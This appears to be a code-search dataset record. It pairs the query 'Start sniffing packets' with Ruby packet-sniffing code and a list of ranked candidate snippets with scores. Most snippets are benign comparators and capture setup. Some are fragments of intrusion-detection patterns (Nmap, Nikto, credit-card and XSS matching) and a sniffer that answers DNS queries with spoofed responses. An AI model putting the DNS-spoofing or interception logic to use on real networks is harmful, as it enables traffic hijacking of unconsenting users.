1) <=> (other.pref? ? 0 : 1)) == 0\n diff\n else\n to_s <=> other.to_s\n end\n end\n end", "def compare(attr, statable)\r\n a = self.send(attr)\r\n\tb = statable.send(attr)\r\n#\treturn 0 if a.nil? || b.nil?\r\n\t\r\n\torder = StatSummary::STATS[attr][:order]\r\n\tif order == 1\r\n\t return (a || 10000) <=> (b || 10000)\r\n# return a <=> b\r\n\telse\r\n\t return (b || -1) <=> (a || -1)\r\n# return b <=> a\r\n\tend\r\n end", "def has_item_by_string(name)\n inventory.each_with_index do |couple, index|\n if (name.casecmp(couple.first.name) == 0)\n return index\n end\n end\n\n return -1\n end", "def has_item_by_string(name)\n inventory.each_with_index do |couple, index|\n if (name.casecmp(couple.first.name) == 0)\n return index\n end\n end\n return -1\n end", "def matches(name, latitude, longitude, category = nil)\n category_id = category.id if category\n \n # Want to append the distance and similarity rankings.\n matched_places = Hash[*(many.matches(name, latitude, longitude, category_id).map {|r| [r['id'], r]}).flatten]\n find_from_search(*matched_places.keys).map do |place|\n if place\n if matched_places[place.id]\n place.distance_in_meters = matched_places[place.id]['distance_in_meters'] \n place.name_similarity = matched_places[place.id]['name_similarity'] \n end\n place\n end\n end\n end", "def binary_search(name)\n # We save the position of the first item in the array\n # using the 'lower' variable, and the position of the\n # last item in the array in the 'upper' variable.\n lower = 0\n upper = entries.length - 1\n\n # Here we loop over the array while 'lower' is less \n # than or equal to the 'upper' variable.\n while lower <= upper\n # We set the varible 'mid' to be the index in the\n # middle of the array. Ruby automatically truncates\n # any decimal numbers. ie: 2.5 becomes 2 .\n mid = (lower + upper) / 2\n # We then set the 'mid_name' variable to the name\n # attribute of the entry in the middle of the array.\n mid_name = entries[mid].name\n # Next, we see if the 'mid_name' variable is the same\n # as the 'name' variable we passed in. If it is the\n # same we return the entry.\n if name == mid_name\n return entries[mid]\n # If it isn't the same we then check if 'name' is less\n # than 'mid_name' (Ruby automatically uses lexicographial\n # order). If so we set 'upper' to be one index less than\n # the 'mid' index.\n elsif name < mid_name\n upper = mid - 1\n # If 'name' isn't less than 'mid_name', we check if it is \n # greater than 'mid_name' (I believe we could just use an\n # else statement here). If so we set 'lower' to be one index\n # higher than 'mid'.\n elsif name > mid_name\n lower = mid + 1\n end\n end\n # If we divide and conquer to the point where no match is found\n # we then return nil.\n return nil\n\n end", "def <=>(other)\n cmp = id <=> other.id\n if 0 == cmp\n cmp = name <=> other.name\n end\n cmp\n end", "def <=>(other)\n [@singleton ? 0 : 1, new_name] <=> [other.singleton ? 0 : 1, other.new_name]\n end", "def classification\n\n player_by_points = players.order('points DESC')\n player_by_points.each_with_index do |player, index|\n logger.info(index)\n player.position = index\n player.update_attribute(:position, index)\n end\n first_player = players.order('position ASC').first\n player_with_same_points = players.where(\"points = ?\", first_player.points).drop(1)\n\n player_with_same_points.each do |player|\n\n if first_player.points_hash[:districts_points] < player.points_hash[:districts_points]\n\n position_aux = first_player.position\n first_player.update_attribute(:position, player.position)\n player.update_attribute(:position, position_aux)\n first_player = player\n\n elsif first_player.points_hash[:districts_points] == player.points_hash[:districts_points]\n\n if first_player.coins < player.coins\n position_aux = first_player.position\n first_player.update_attribute(:position, player.position)\n player.update_attribute(:position, position_aux)\n first_player = player\n end\n end\n end\n end", "def key_for_min_value(name_hash)\n \n if name_hash.size == 0\n x = nil\n \n else\n \n y = name_hash.map {|item,num| num}\n y = y[0]\n\n name_hash.each do |item, num|\n \n if num < y\n \n x = item\n y = num\n \n elsif num == y\n x = item\n \n end\n\n end\n\nend\nx\n\n\nend", "def key_for_min_value(name_hash)\n newArray1 = []\n name_hash.collect do |key, value|\n newArray1 << value\n end\n newArray2 = []\n newArray2 = newArray1.sort { |x,y| x <=> y }\n return name_hash.index(newArray2[0]) \nend", "def ==(other)\n return name == other.name\n end", "def get_pos_by_name(name)\n @@pos_table[name]\n end", "def same_pos?(pos1, pos2)\n pos1 = pos1.pos if pos1.respond_to?(:pos)\n pos2 = pos2.pos if pos2.respond_to?(:pos)\n pos1.x == pos2.x and pos1.y == pos2.y and pos1.z == pos2.z\n end", "def same_pos?(pos1, pos2)\n pos1 = pos1.pos if pos1.respond_to?(:pos)\n pos2 = pos2.pos if pos2.respond_to?(:pos)\n pos1.x == pos2.x and pos1.y == pos2.y and pos1.z == pos2.z\n end", "def compare_movies movie1, movie2\n # First compare the titles of the movies\n if (movie1.title.downcase <=> movie2.title.downcase) == 0\n if (movie1.year <=> movie2.year) == 0\n if (movie1.runtime <=> movie2.runtime) == 0\n movie1.genres.downcase <=> movie2.genres.downcase\n else\n movie1.runtime <=> movie2.runtime\n end\n else\n movie1.year <=> movie2.year\n end\n else\n movie1.title.downcase <=> movie2.title.downcase\n end\nend", "def include?(position); end", "def key_for_min_value(name_hash)\n box = []\n name_hash.each do |key, val|\n box << val\n end\n min = box[0]\n\n#sort\n\n i=0\n while i < box.length\n if min > box[i]\n min=box[i]\n end\n i+=1\n end\n\n #match\n if name_hash.empty?\n nil\n else\n name_hash.each do |key, val|\n if name_hash[key] == min\n return key\n end\n end\n end\nend", "def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n values = []\n name_hash.each do |item, value|\n values.push(value)\n end\n values_s = values.sort\n name_hash.each do |item, value|\n if value == values_s[0]\n return item\n end\nend\nend", "def binary_search(name)\n # we save the index of the left most item in the array in a var named lower.\n # and the index of the rightmost item in the array in upper.\n lower = 0\n upper = entries.length - 1\n\n # we loop while our lower index is less than or equal to the upper index.\n while lower <= upper\n # we find the middle index by taking the sum of lower and upper and dividing it by two.\n # then we retrieve the name of the entry at the middle index and store it in mid_name.\n mid = (lower + upper) / 2\n mid_name = entries[mid].name\n\n # we compare the name that we are search for, name to the name of the middle index, mid_name.\n # note - search is case sensitive.\n if name == mid_name\n return entries[mid]\n elsif name < mid_name\n upper = mid - 1\n elsif name > mid_name\n lower = mid + 1\n end\n end\n\n #if we divide and conquer to the point where there is no match, we return nil.\n return nil\n end", "def compare_nodes(a, b) # FIXME: WTF?\n a = a[1]\n b = b[1]\n type_a = 0\n type_b = 0\n type_a = 1 if a.key?('{DAV:}resourcetype') && a['{DAV:}resourcetype'].value.include?('{DAV:}collection')\n type_b = 1 if b.key?('{DAV:}resourcetype') && b['{DAV:}resourcetype'].value.include?('{DAV:}collection')\n\n # If same type, sort alphabetically by filename:\n return (a['displayPath'] <=> b['displayPath']) if type_a == type_b\n ((type_a < type_b) ? 1 : -1)\n end", "def == other\n name == other.name\n end", "def <=>(other)\n NAMES.each do |name|\n result = send(name).to_i <=> other.send(name).to_i\n return result unless result.zero?\n end\n 0\n end", "def compare( tuples, i, j )\n a, x = tuples[i][0], tuples[i][1]\n b, y = tuples[j][0], tuples[j][1]\n\n a, x, b, y, i, j = b, y, a, x, j, i if x > y\n a / b.to_f > b**((y - x) / x.to_f) ? i : j\n end", "def <=>(other)\n full_name <=> other.full_name\n end", "def assert_pathname_cmp(int, s1, s2)\n p1 = Pathname.new(s1)\n p2 = Pathname.new(s2)\n result = p1 <=> p2\n assert_equal(int, result)\n end", "def binary_search(name)\n # index of the leftmost entry in entries array is stored in variable lower\n lower = 0\n # index of the rightmost entry\n upper = entries.length - 1\n\n while lower <= upper\n # find middle index\n mid = (lower + upper) / 2\n # retrieve the name of the entry at the middle index and store it in mid_name\n mid_name = entries[mid].name\n\n # compare the 'name' we are searching for with the name stored in middle index, mid_name\n if name == mid_name\n return entries[mid]\n # If name is alphabetically before mid_name. Then loop through lower half of array\n elsif name < mid_name\n upper = mid - 1\n # If name is alphabetically after mid_name. Then loop throught upper half of array.\n elsif name > mid_name\n lower = mid + 1\n end\n end\n # match not found\n return nil\n end", "def key_for_min_value(name_hash)\n counter = 0\n value_sort = []\n if name_hash.size > 0\n name_hash.each do |key, value|\n value_sort<< value\n end\n min = value_sort[counter]\n value_sort.each do |value|\n min = value_sort[0]\n if min >= value_sort[counter]\n min = value_sort[counter]\n counter += 1\n end\n end\n name_hash.each do |key, value|\n if value === min\n print key\n return key\n end\n end\n else\n return nil\n end\nend", "def ==(other)\n if other.respond_to?(:name)\n self.name == other.name\n else\n self.name == other\n end\n end", "def check_duplicates(result, duplicates)\n duplicates.map do |duplicate|\n conflict = duplicate.position_held == result.parent_position_held\n ['Possible clash with parent position held', duplicate] if conflict\n end\n end", "def <=>(other)\n name <=> other.name\n end", "def <=>(other)\n name <=> other.name\n end", "def search_product(products, reference)\n product_position = false\n products.each_with_index do |product, index|\n if product[:reference] == reference\n product_position = index\n end\n end\n product_position\nend", "def <=>(other)\n # Bump one to the surface if it is conflicted and the other isn't\n #return -1 if (conflicted? and !other.conflicted?)\n #return 1 if (!conflicted? and other.conflicted?)\n comparison = (sort_level <=> other.sort_level)\n return comparison unless comparison == 0\n # Next sort by initialism, then meaning\n comparison = (initialism.downcase <=> other.initialism.downcase)\n return comparison unless comparison == 0\n meaning.downcase <=> other.meaning.downcase\n end", "def <=> other\n index <=> other.index\n end" ]
[ "0.6098727", "0.56552356", "0.5651304", "0.5634825", "0.56164724", "0.56066626", "0.559979", "0.5567032", "0.55200934", "0.5510207", "0.5510207", "0.5474416", "0.5457802", "0.54541147", "0.54541147", "0.54392105", "0.5429191", "0.5424356", "0.5393678", "0.53846025", "0.53765357", "0.53765357", "0.53765357", "0.5372373", "0.5362784", "0.5353101", "0.5348024", "0.53315806", "0.52777004", "0.527439", "0.52538127", "0.52483135", "0.5240885", "0.52158815", "0.5211227", "0.5205651", "0.5191742", "0.5176165", "0.51666546", "0.51666546", "0.51538306", "0.51538306", "0.51538306", "0.51538306", "0.51508653", "0.5141924", "0.5123675", "0.5120008", "0.51193476", "0.5116695", "0.51145816", "0.5113145", "0.510843", "0.51035595", "0.5103328", "0.51000524", "0.50950223", "0.5088559", "0.5088383", "0.5085392", "0.50836945", "0.50807315", "0.50758916", "0.5069713", "0.5064689", "0.5060383", "0.5055435", "0.50368863", "0.50354666", "0.50305957", "0.50195897", "0.50186837", "0.5012933", "0.50068235", "0.49991742", "0.4990955", "0.49879718", "0.49745762", "0.49665213", "0.49665213", "0.4965454", "0.49577877", "0.4952022", "0.49473867", "0.4943435", "0.49421448", "0.49379355", "0.49370164", "0.49289346", "0.49250126", "0.49235383", "0.49167967", "0.4909828", "0.49085897", "0.49046195", "0.49007547", "0.49007547", "0.48982167", "0.48973128", "0.48951632" ]
0.54896104
11
of initialize Start sniffing packets
def sniff(queue = false) # sniff_queue if queue # potential optimization, turned off for now # Now read each packet and process it right away @sniffer.each_packet do |pkt| @event_collector.pkt_count += 1 @event_collector.bytes += pkt.caplen @event_collector.last_pkt = pkt case pkt when @tcp_traffic @tcp_handler.packet(pkt) if @tcp_handler when @udp_traffic @udp_handler.packet(pkt) if @udp_handler and pkt.udp? # INVESTIGATE! end end # of each_packet end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(args={})\n\t\t\t@array = [] # Where the packet array goes.\n\t\t\t@stream = [] # Where the stream goes.\n\t\t\t@iface = args[:iface] || Pcap.lookupdev || 'lo' \n\t\t\t@snaplen = args[:snaplen] || 0xffff\n\t\t\t@promisc = args[:promisc] || false # Sensible for some Intel wifi cards\n\t\t\t@timeout = args[:timeout] || 1\n\t\t\t@show_live = nil\n\t\tend", "def initialize(args={})\n @iface = args[:iface] || Pcap.lookupdev # lookup default interface\n @snaplen = args[:snaplen] || 65535 # default snaplen\n @promisc = args[:promisc] || false # default promisc\n @timeout = args[:timeout] || 0 # default timeout\n start(args) if args[:start]\n if block_given?\n start\n @packet_stream.each { |packet| yield packet }\n end\n end", "def packets; end", "def initialize timestamp, length, capture_length, captured, datalink, headers\n @capture_length = capture_length\n @captured = captured\n @datalink = datalink\n @length = length\n @protocols = headers.keys\n @timestamp = timestamp\n\n @arp_header = headers[:arp]\n @ethernet_header = headers[:ethernet]\n @icmp_header = headers[:icmp]\n @ipv4_header = headers[:ipv4]\n @ipv6_header = headers[:ipv6]\n @tcp_header = headers[:tcp]\n @udp_header = headers[:udp]\n @unknown_layer3_header = headers[:unknown_layer3]\n end", "def initialize(net_id, data)\n\n $test_logger.log(\"New MA5G Serial Packet, net id='#{net_id}', data size='#{data.size}'\")\n\n @start_str = START_STR\n @net_id = net_id\n @data = data\n @data_size = data.size\n @checksum = MA5GSerialPacket.calculate_checksum(data)\n\n end", "def capture_start(intf,maxp=200000,filter=\"\")\n request = Packet.create_request(COMMAND_ID_SNIFFER_CAPTURE_START)\n request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)\n request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)\n request.add_tlv(TLV_TYPE_SNIFFER_ADDITIONAL_FILTER, filter) if filter.length > 0\n client.send_request(request)\n end", "def start\n super\n @snmptrap = SNMP::TrapListener.new(:Host => @host, :Port => @port) do |manager|\n manager.on_trap_default do |trap|\n trap_events = Hash.new\n tag = @tag\n timestamp = Engine.now\n raise(\"Unknown Trap Format\", trap) unless trap.kind_of?(SNMP::SNMPv1_Trap) or trap.kind_of?(SNMP::SNMPv2_Trap)\n trap.each_varbind do |vb|\n trap_events[vb.name.to_s] = vb.value.to_s\n end\n trap_events['host'] = trap.source_ip\n if @trap_format == 'tojson'\n require 'json'\n trap_events.to_json\n end\n router.emit(tag, timestamp, trap_events)\n end\n end\n end", "def initialTCP_location\n @scanLocation[@scanType[0]]\n end", "def initialize(options)\n\n opt_str = \"\"\n\n #Get specified options in printable form\n options.each {|a,b|\n \n if b.is_a?(Array)\n ##print \"#{a} => \"\n #opt_str << \"#{a}=>\"\n #b.each{|x| print \"#{x.to_s(16)} \"}\n #puts \"\" \n opt_str << \"#{a}=>Array[#{b.size}], \"\n elsif b.is_a?(Fixnum) or b.is_a?(Bignum)\n opt_str << \"#{a}=>#{b.to_s(16)}, \"\n else\n opt_str << \"#{a}=>#{b}, \"\n end\n }\n \n #Make debug log for options\n $test_logger.log(\"Initialize packet with options '#{opt_str[0..-3]}'\") # Print Packet with opt 0..-3 for removing comma and space\n #Initial values \n verify_checksum = nil\n @net_id = 0\n @pkt_no = 0\n @cmd_id = nil\n @res_req = true\n @ack_req = true\n @ack_bit = false\n @err_bit = false\n @data = nil\n @cmd_pkt = nil\n @cmd_str = nil\n @error_no = 0\n @error_desc = \"<NO ERROR>\"\n @sync_dword = DEFAULT_SYNC\n @reserved_dword = 0\n \n #Load variables from parameter options \n @net_id = options[:net_id] if options[:net_id]!=nil\n @pkt_no = options[:pkt_no] if options[:pkt_no]!=nil\n @cmd_id = options[:cmd_id] if options[:cmd_id]!=nil\n @res_req = options[:res_req] if options[:res_req]!=nil\n @ack_req = options[:ack_req] if options[:ack_req]!=nil\n @ack_bit = options[:ack_bit] if options[:ack_bit]!=nil\n @err_bit = options[:err_bit] if options[:err_bit]!=nil\n @data = Common.get_obj_copy(options[:data]) if options[:data]!=nil\n @sync_dword = options[:sync_dword] if options[:sync_dword]!=nil\n @reserved_dword = options[:reserved_dword] if options[:reserved_dword]!=nil\n \n verify_checksum = options[:verify_checksum] if options[:verify_checksum]!=nil \n if options[:ignore_chksum]!=nil \n ignore_chksum = options[:ignore_chksum] \n else\n ignore_chksum = false\n end \n \n #Swap for endianess on data\n if @data && @data.is_a?(Array) \n for i in 0..(@data.size - 1)\n @data[i] = BioPacket.swap_dword(@data[i]) if @data[i] && @data[i].to_s != CmdManager::DONT_CARE\n end\n end\n \n #Build cmd\n if ((@net_id.to_s.include? CmdManager::DONT_CARE) || (@pkt_no.to_s.include? CmdManager::DONT_CARE) || (@cmd_id.to_s.include? CmdManager::DONT_CARE) || (@ack_bit.to_s.include? CmdManager::DONT_CARE) || (@data.to_s.include? CmdManager::DONT_CARE) || (@err_bit.to_s.include? CmdManager::DONT_CARE)) \n $test_logger.log(\"Command Includes 'Dont care' #{CmdManager::DONT_CARE} so Command can't be build !\")\n else\n $test_logger.log(\"Buliding Command...!\") \n \n begin\n #Check for error\n check_error_no\n build_cmd(verify_checksum, ignore_chksum)\n rescue Exception=>ex\n raise ex, ex.message + \"\\nError while creating command!\", ex.backtrace\n end\n end \n end", "def init\n if super\n @offset = 0\n @sg = ITALY\n self\n end\n end", "def udp_init(pkt, event_collector)\n @event_collector = event_collector\n @app_state = { :up => {}, :down => {} }\n @layer_4 = :udp\n end", "def sniff()\n\tstream = PacketFu::Capture.new(:start => true, :iface => 'eth0', :promisc => true)\n\n\tnmap_string = /\\x4E\\x6D\\x61\\x70/\n\tnikto_string = /\\x4E\\x69\\x6B\\x74\\x6F/\n\n\tstream.stream.each do |raw_pkt|\n\t\tpkt = PacketFu::Packet.parse(raw_pkt)\n\t\tif pkt.is_ip? \n\t\t\tif pkt.is_tcp?\n\t\t\t\tdetectTCPIncident(pkt)\n\t\t\tend\n\n\t\t\tif nmap_string.match(pkt.payload)\n\t\t\t\talert(\"Nmap scan\", pkt.ip_saddr(), \"TCP\", pkt.payload)\n\t\t\tend\n\t\t\t\n\t\t\tif nikto_string.match(pkt.payload)\n\t\t\t\talert(\"Nikto scan\", pkt.ip_saddr(), \"TCP\", pkt.payload)\n\t\t\tend\n\n\t\t\tfindCreditCard(pkt)\n\t\tend\n\tend\nend", "def accept_kexinit(packet); end", "def start\n\t\tinit\n\t end", "def initialize\n Socket.udp_server_loop(DISCOVERY_IP, Receiver::ONKYO_PORT) do |msg, src|\n src.reply \"ISCP\\x00\\x00\\x00\\x10\\x00\\x00\\x00&\\x01\\x00\\x00\\x00!1ECNTX-NR609/60128/DX/14DAE9E967C8\\x19\\r\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n puts msg\n end\n end", "def initialize\n\t@start_time = Time.now\n\t@end_time = Time.now\n\t@save_time = 0.0\n\t@top_card = 0\n\t@number_of_hint = 0\n\t@number_of_correct = 0\n\t@number_of_wrong= 0\n\t@deck = []\n\t@hand = []\n\t@username = \"\"\n\t@total_hint=0\n\t@is_end=false\nend", "def start(args={})\n iface = args[:iface] || @iface # default interface\n snaplen = args[:snaplen] || @snaplen # default snaplen\n promisc = args[:promisc] || @promisc # default promisc\n timeout = args[:timeout] || @timeout # default timeout\n @packet_stream = Pcap.open_live(iface, snaplen, promisc, timeout) \n if block_given?\n @packet_stream.each { |packet| yield packet }\n end\n end", "def startAlarm(iface)\n\tsniff = Capture.new(:iface => iface, :start => true)\n\tputs \"Listening on \" + iface\n\tsniff.stream.each do |p|\n\t\tpkt = Packet.parse p\n\t\tif pkt.is_ip?\n\t\t\tif pkt.is_tcp?\n\n\t\t\t\t#packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last]\t#get packet info into struct for printing\n\t\t\t\t#puts \"%-15s -> %-15s %-4d %s\" % packet_info\t#print basic info about every packet\n\n\t\t\t\tTCP_Scans(pkt)\t#check for NMAP TCP scans\n\t\t\t\tNMAP_Scan(pkt)\n\n\t\t\t\tdata = pkt.tcp_header.body\t#create string from packet body to analyze\n\n\t\t\t\tcreditCard(data, pkt)\t#check for leaked plaintext credit cards\n\t\t\t\tpasswords(data, pkt)\t#check for leaked plaintext passwords\n\t\t\t\tXSS_Scan(data, pkt)\t\t#check for XSS\n\t\t\tend\n\t\tend\t#end IP \n\tend # end sniff\nend", "def initialize(pstack, server)\n super(pstack)\n @server = server\n @wopts = {}\n getopts(@server.service_negotiation)\n @mode = :normal # Parse mode :normal, :cmd, :cr\n @state = {}\n @sc = nil\n @sneg_opts = [ TTYPE, ZMP ] # supported options which imply an initial\n # sub negotiation of options\n @ttype = []\n @init_tries = 0 # Number of tries at negotitating sub options\n @synch = false\n log.debug \"telnet filter initialized - #{@init_tries}\"\n end", "def initialize()\n @type = ''\n @destination = ''\n @tag = ''\n @data = ''\n @timeout = 10000\n end", "def initialize_for_connect\n @initial_post = true\n @http_requests = 1\n @pending_requests = 0\n @last_send = Time.at(0)\n @previous_send = Time.at(0)\n @send_buffer = ''\n @stream_mechanisms = []\n @stream_features = {}\n end", "def sniff(iface)\n pp 'Sniffing...'\n cap = Capture.new(:iface => iface, :start => true, :filter => 'src 192.168.0.7')\n cap.stream.each do |p|\n pp 'Got one!'\n packet = Packet.parse p\n pp packet\n #$cmd = xor packet.payload\n pp packet.payload\n #value = `#{cmd}`\n\n pp packet.ip_dst_readable\n end\n\n\nend", "def initialize_instance\n super\n userHandle.value = get_parameter(:handle)\n request.pduHead.frag_length = self.num_bytes\n request.opnum.value = 47 \t\t#SamrQueryInformationUser2\n end", "def init\n @calls = []\n @accept_nodes = []\n @connected_nodes = nil\n @remote_bash_code = nil\n end", "def initialize\n extend(Net::SSH::Transport::PacketStream)\n super \"SSH-2.0-Test\\r\\n\"\n\n @script = Script.new\n\n script.sends(:kexinit)\n script.gets(:kexinit, 1, 2, 3, 4, \"test\", \"ssh-rsa\", \"none\", \"none\", \"none\", \"none\", \"none\", \"none\", \"\", \"\", false)\n script.sends(:newkeys)\n script.gets(:newkeys)\n end", "def initialize(req)\n @clientCount = 0\n @img = self.class.getDaemonParamDef(req, :img, nil)\n super(req)\n @@bw = @config['bandwidth']\n @@mcAddr = @config['mcAddress']\n end", "def initialize\n\t\t@numpkt = 0\n\t\t@pktdrops = 0\n\tend", "def initialize\n reset\n initialize_ai(0, 100)\n end", "def initialize(tx_info = false)\n @dmac = \"ff:ff:ff:ff:ff:ff\"\n @smac = \"00:00:00:00:00:0a\"\n @ot = VlanTag.new({ tpid: 0, vid: 0, pcp: 0, dei: 0 })\n @it = VlanTag.new({ tpid: 0, vid: 0, pcp: 0, dei: 0 })\n @etype = 0xaaaa\n @llc = Llc.new({ dsap: 1, ssap: 2, control: 3 })\n @arp = ArpHdr.new\n @ipv4 = IPv4.new({ ip_ttl: 64, ip_proto: 17 })\n @ipv6 = IPv6.new({ ip_p: 17 })\n @udp = UdpHdr.new({ sport: 1, dport: 2 })\n @tcp = TcpHdr.new({ sport: 1, dport: 2 })\n @data_offs = 0\n @tx_info = (tx_info ? get_req(\"mesa_packet_tx_info_init\") : nil)\n @data = [0xa0,0xa1,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7,0xa8,0xa9,0xaa,0xab,0xac,0xcd,0xae,0xaf,\n 0xb0,0xb1,0xb2,0xb3,0xb4,0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xbb,0xbc,0xbd,0xbe,0xbf,\n 0xc0,0xc1,0xc2,0xc3,0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xcb,0xcc,0xcd,0xce,0xcf,\n 0xd0,0xd1,0xd2,0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0xdb,0xdc,0xdd,0xde,0xdf].pack(\"c*\") #This generates a binary sequence, that is the data format\n end", "def init() \n\tunless $downips.empty? #checks if the downips Array is empty.\n\t$downips.each do |downip|\n\tunless downip == \"nil\" #Checks if the donwips Array contains any nil values.\n\tdownhttpcheck(downip)\n end\n end\n\tend\n $upips.each do |ipsend|\n\tunless ipsend == \"nil\" #Checks if the upips Array contains any nil values.\n\tmainhttpcheck(ipsend)\n end\n\tend\n\t$downips = $downips.compact #Will remove the nil values, inserted when a IP is up again, from the array.\n\t$upips = $upips.compact #Will remove nil values from the array.\n\tend", "def initialize\n @program_start_pointer = 0\n init_name\n init_clock\n init_register\n init_ports\n end", "def prestart ( )\n reset( )\n @matchstate[:state] = 0\n @chain = [ @states[0], ]\n end", "def initialize node, host, port, direction\n @node, @host, @port, @direction = node, host, port, direction\n @parser = Bitcoin::Protocol::Parser.new(self)\n @state = :new\n @version = nil\n @started = nil\n @port, @host = *Socket.unpack_sockaddr_in(get_peername) if get_peername\n @ping_nonce = nil\n @latency_ms = nil\n @lock = Monitor.new\n @last_getblocks = [] # the last few getblocks messages received\n rescue Exception\n log.fatal { \"Error in #initialize\" }\n p $!; puts $@; exit\n end", "def initialize(client, cid, type, flags)\n\t\tsuper(client, cid, type, flags)\n\t\t# the instance variable that holds all incoming datagrams.\n\t\t@datagrams = []\n\tend", "def initialize( * )\n\t\t@runcount = 0\n\t\tsuper\n\tend", "def initialize\n @start = nil\n end", "def sniff(iface)\n pp 'Sniffing...'\n cap = Capture.new(:iface => iface, :start => true, :filter => 'udp and port 53', :save => true)\n cap.stream.each do |p|\n packet = Packet.parse p\n\n $dnsQuery = packet.payload[2].unpack('h*')[0].chr+packet.payload[3].unpack('h*')[0].chr\n\n if $dnsQuery == '10'\n domain, trans_id = get_info(packet)\n\n #generate_spoofDNS(domain, trans_id, packet)\n sendResponse(packet, domain)\n end\n\n end\n\nend", "def init; end", "def init; end", "def init; end", "def init; end", "def initialize\r\n @hp = @mp = @tp = 0\r\n @hidden = false\r\n clear_param_plus\r\n clear_states\r\n clear_buffs\r\n end", "def post_init\n $connection_list << self\n @my_connection_index = $connection_list.length\n puts \"Connection Initialized #{@my_connection_index}) #{@my_address} - #{@signature}\"\n #\n # TODO: get access to the HostIP and HostPort associated with this connection\n # if it is the local control connection, do the following\n # * do not repeat other connection traffic to this connection\n # * consider any input a command to be processed\n end", "def initialize( * )\n\t\t@socket = UDPSocket.new\n\tend", "def poll_next_packet; end", "def initialize\n self[:start_time] = Time.now.to_f\n self[:time] = Time.now.to_f\n self[:trace] = []\n end", "def initialize\n @instr_type = UNINITIALIZED\n @addr = UNINITIALIZED\n end", "def starting; end", "def at_init\n\n\t\tend", "def init(s1, ip)\n @mf = MessageFormat.new\n @node_socket = s1\n @this_ip = ip\n puts ip\n if ip !~ /\\b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}:[0-9]{1,6}\\b/\n raise TypeError, 'Please use an IP address in the format of IP:PORT'\n end\n end", "def initialize_ports!\n switch.initialize_ports!\n rescue\n logger.debug(\"Failed to initialize ports: %s: %s\" % [$!.class, $!.to_s])\n end", "def handshaking(sn) \n sock = TCPSocket.new(sn.address.public_ip,sn.address.public_port)\n sn.socket = sock\n sock.node = sn\n res,datas = @protocol.connect(sock) \n unless @bandwidth_manager.nil?\n @bandwidth_manager.uploaded(datas[0],datas[1])\n @bandwidth_manager.downloaed(datas[2],datas[3])\n end\n\n if res\n sock\n else\n sock.close\n nil\n end\n end", "def initialize(n, start, length)\n super(n.byteslice(start, length))\n\n @netstring = n.byteslice(0, start + length + 1)\n end", "def start\n noth\n end", "def packet(pkt)\n super(pkt)\n ret = nil\n\n # Let's ignore (for now) packets that are simply ACKs and nothing else\n return nil unless pkt.tcp_syn? or pkt.tcp_fin? or pkt.tcp_rst? or\n pkt.tcp_data_len > 0\n \n # Should we be raising a STREAM event?\n if pkt.tcp_data_len > 0 and @event_collector.stream_capture\n @event_collector.stream_capture.each do |sc|\n if (sc[0].nil? or sc[0] == pkt.src.to_i) and # source IP\n (sc[2].nil? or sc[2] == pkt.dst.to_i) and # destination IP\n (sc[1].nil? or sc[1] == pkt.sport) and # source port\n (sc[3].nil? or sc[3] == pkt.dport) # destination port\n @event_collector.send(sc[4]) do\n state = identify_state(pkt, :tcp, false)\n { :content => pkt.tcp_data, :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport }\n end\n end # of if match\n end # of each stream_capture\n end # of if stream event\n\n # Determine the packet's direction (up == src -> dst)\n dir = pkt.src.to_i < pkt.dst.to_i ? :up : :down\n\n # First, identify if this is a new stream or part of one on which we are\n # already keeping state.\n make_state = !(pkt.tcp_fin? or pkt.tcp_rst?)\n state = identify_state(pkt, :tcp, make_state)\n state.ack_seen = pkt.tcp_ack? unless pkt.tcp_rst?\n \n # Check to see if we need to prune some state objects\n if pkt.time.to_i > @next_prune\n @next_prune = pkt.time.to_i + 60 # one minute prune interval\n syn_timeout = pkt.time - @event_collector.syn_timeout_delay\n stream_timeout = pkt.time - @event_collector.stream_timeout_delay\n @states.each do |_,chk|\n if chk.last_seen < syn_timeout\n # Is this state only a syn so far?\n if not chk.ack_seen\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => true, :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i),\n :src_port => chk.sport, :dst_port => chk.dport, :rst => false }\n end\n delete_state(chk)\n \n # Okay, there's been some traffic. Has a 